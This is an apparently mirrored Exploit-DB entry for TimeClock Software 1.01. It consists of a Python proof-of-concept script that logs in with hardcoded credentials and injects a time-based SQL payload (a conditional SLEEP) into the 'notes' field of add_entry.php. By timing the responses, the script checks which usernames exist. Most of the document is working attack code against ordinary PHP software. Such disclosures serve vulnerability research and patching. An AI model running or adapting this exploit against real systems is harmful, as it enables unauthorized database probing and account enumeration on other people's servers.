TimeClock Software 1.01 0 – (Authenticated) Time-Based SQL Injection - 体验盒子

作者： François Bibeau

日期： 2020-07-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48874/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

#!/usr/bin/python3

# Exploit Title: TimeClock Software 1.01 Authenticated Time-Based SQL Injection

# Date: July 21, 2020

# Exploit Author: François Bibeau

# Co Author: Tyler Butler, http://tbutler.org, https://twitter.com/tbutler0x90

# Vendor Homepage: http://timeclock-software.net/

# Software Link: http://timeclock-software.net/timeclock-download.php

# Version: 1.01

# Tested on: Ubuntu 18.04.3 (LTS) x64, mysql 5.7, php 7.2.1-apache

import time

import requests

login_url = 'http://159.203.41.34/login_action.php'# Ensure to change ip to match target

login_data = {'username':'fred','password':'fred','submit':'Log In'}

headers = {'User-Agent': 'Mozilla/5.0'}

# init session & login

session = requests.Session()

session.post(login_url,headers=headers,data=login_data)

# static list provided for PoC, could use a text file

users = ['john','bill','tim','fred','garry','sid','admin']

for user in users:

url = "http://159.203.41.34/add_entry.php"

payload = f"' OR IF((SELECT username FROM user_info WHERE username='{user}')='{user}', SLEEP(5), NULL)='"

data = {'data_month': '1',

'data_day': '1',

'data_year': '1',

'type_id': '5',

'hours': '1',

'notes': payload,

'submit': 'Add'}

print(f'Checking user {user}... ', end = '')

start = time.time()

response = session.post(url,data=data)

end = time.time()

delay = end - start

if delay > 5:

print('User found!')

else:

print('')